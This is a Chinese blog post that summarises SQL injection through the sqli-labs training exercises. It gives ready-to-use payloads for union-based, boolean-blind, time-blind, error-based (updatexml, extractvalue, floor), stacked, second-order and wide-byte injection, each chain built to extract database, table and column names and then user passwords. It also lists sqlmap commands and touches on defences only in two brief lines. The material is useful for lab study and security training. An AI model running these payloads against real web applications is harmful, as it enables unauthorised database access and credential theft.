首页 > 数据库 >SQL注入总结

SQL注入总结

时间:2022-12-09 15:22:06浏览次数:37  
标签:总结 select --+ SQL table schema id concat 注入

1.sql注入原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.sql注入点判断

2.1数字型

用?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

SELECT * FROM users WHERE id=1 and 1=2

2.2字符型

用?id=1' and 1=1--+/和?id=1' and 1=2--+/进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

SELECT * FROM users WHERE id='1' and 1=2-- '

用?id=1'and 1=1 and '1'='1和?id=1'and 1=1 and '1'='1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

SELECT * FROM users WHERE id='1' and 1=2 and '1'='1'

2.3搜索型

用?id=1%' and 1=1 and '%'='%和?id=1%' and 1=2 and '%'='%进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

SELECT * from table where users like '%1 %' and '1'='1' and '%'='%'

用?id=1%' and 1=1--+/和?id=1%' and 1=2--+/进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。

3.sql注入分类

根据参数类型:字符型,数字型、搜索型

根据提交方式:POST注入,GET注入,HTTP HEAD注入

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

4.sql注入利用

4.1联合注入(sqli-labs第二关)

4.1.1测试注入点:?id=1 and 1=1--+

?id=1 and 1=2--+ 回显不正常存在注入,

4.1.2测试列数

?id=1order by 1

?id=1order by 2

?id=1order by 3

?id=1order by 4报错

4.1.3三列,测试回显位

?id=-1 union select 1,2,3--+

4.1.4测试数据库版本:

?id=-1 union select 1,database(),version()--+

4.1.5爆破表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

4.1.6爆破列:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

4.1.7爆破字段:

?id=-1 union select 1,2,group_concat(username ,id , password) from users

4.2布尔盲注(sqli-labs第五关)

当页面数据显示很少,有报错页面和正确页面进行对比。

4.2.1 注入点判断
?id=1' and 1=2--+

?id=1' and 1=1--+

4.2.2 爆数据库
?id=1'and length((select database()))>9--+

?id=1'and ascii(substr((select database()),1,1))=115--+

4.2.3 爆表
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

4.2.4 爆列
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

4.2.5 爆账户密码
?id=1' and length((select group_concat(username,password) from users))>109--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

4.3时间盲注(sqli-labs第九关)

如果页面始终只有一个,我们可以使用延时注入,通过反应时间来判断。

4.3.1 注入点判断
?id=1' and if(1=1,sleep(5),1)--+

4.3.2 爆数据库
?id=1' and if(length((select database()))>9,sleep(5),1)--+

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

4.3.3 爆表
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

4.3.4 爆列
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

4.3.5 爆密码账户
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

4.4报错注入(sqli-labs四十六关)

当页面显示数据很少,但是存在报错信息。

4.4.1 updatexml报错注入

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

当我们XPath_string语法报错时候就会报错

4.4.1.1 爆数据库和版本

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))--+

123' and (updatexml(1,concat(0x5c,database(),0x5c),1))--+

4.4.1.2 爆表

123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))--+

4.4.1.3 爆列

123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))--+

4.4.1.4 爆账户与密码

123' and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))--+

123' and (updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1))--+

123' and (updatexml(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1),0x5c),1))--+

4.4.2 extractvalue报错注入

extractvalue(XML_document,XPath_string)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错

4.4.2.1 爆数据库和版本

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))--+

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+

4.4.2.2 爆表

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))--+

4.4.2.3 爆列

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))--+

4.4.1.4 爆账户与密码

1' and (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users) ,0x5c)))--+

1' and (extractvalue(1,concat(0x5c,(select username from users limit 0,1) ,0x5c)))--+

1' and (extractvalue(1,concat(0x5c,(select password from users where username='Dumb' limit 0,1) ,0x5c)))--+

4.4.3 floor报错注入

主要是由于floor(rand(0)*2)生成的是为随机数011011。在进行统计时候由于在插入表格会被再次执行一次会导致健的重复。从而导致报错。

4.4.3.1 爆数据库和版本

123' and (select count() from information_schema.tables group by concat(database(),0x5c,floor(rand(0)2)))--+

123' and (select count() from information_schema.tables group by concat(version(),0x5c,floor(rand(0)2))) --+

4.4.3.2 爆表

1' and (select count() from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)2))) --+

4.4.3.3 爆列

1' and (select count() from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)2))) --+

4.4.3.4 爆账户与密码

1' and (select count() from information_schema.columns where table_schema=database() group by concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)2))) --+

1' and (select count() from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1' limit 0,1),0x7e,floor(rand(0)2))) --+

4.5二次注入​(sqli-labs第二十四关)

注册一个账号名叫admin',将有污染的数据写入数据库,单引号是为了和之后密码修的用户名的单引号进行闭合,是为了注释后面的数据。

之后可以使用用户名admin'#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功

4.6堆叠注入(sqli-labs第三十八关)

堆叠注入要求可以支持多条sql语句同时执行,其他sql注入只能查询数据,堆叠注入可以进行增删改查。

以mysql数据库为例,如果使用mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

4.7宽字节注入(sqli-labs第三十二关)

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

数据库使用一些转义函数,在引号前面自动加上\。由于数据库采用GBK编码, \的url编码是%5c,所以会认为 %df%5c 是一个宽字符,也就是縗。

1.爆数据库

?id=-1%df%27 union select 1,database(),3 --+

2.爆表

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3.爆列

?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

4.爆账户与密码

?id=-1%df%27 union select 1,group_concat(password,username),3 from users--+

5.Sqlmap使用

5.1 get方式注入

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1"

探测数据库

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --dbs

探测当前数据库

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --current-db

探测表名

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users

探测字段名

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -columns

探测字段值

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" -D security -T users -C password,username –dump

5.2 post方式注入

sqlmap -u "http://192.168.116.128/sqli-labs/Less-11/" -- data="uname=1&passwd=2&submit=Submit"

可以抓取http数据包保存为post.txt文件,执行sqlmap -r post.txt

5.3 Tamper脚本注入

在usr/share/sqlmap/tamper目录下有各种脚本文件,Sqlmap可以指定脚本进行过滤,可自定义脚本。

5.4 指定sql语句注入

sqlmap -u "http://192.168.116.128/sqli-labs/Less-1/?id=1" --sql-shell

5.5 指定参数注入

-‌-level: 设置测试的等级,一共有5级。
   1:默认
   2:检测cookie
   3:检测user-agent
   4:检测refere
   5:检测host

sqlmap -u "http://192.168.116.128/sqli-labs/Less-20/" --cookie "uname=admin" --level 2

sqlmap -r cookie.txt -p cookie --level 2 --dbs

6.SQL注入防御

1.采用预编译

2.采用正则表达式过滤转义输入的参数

7.SQL注入绕过waf

详见SQL注入绕waf思路总结

标签:总结,select,--+,SQL,table,schema,id,concat,注入
From: https://www.cnblogs.com/AffectedFish/p/16968954.html

相关文章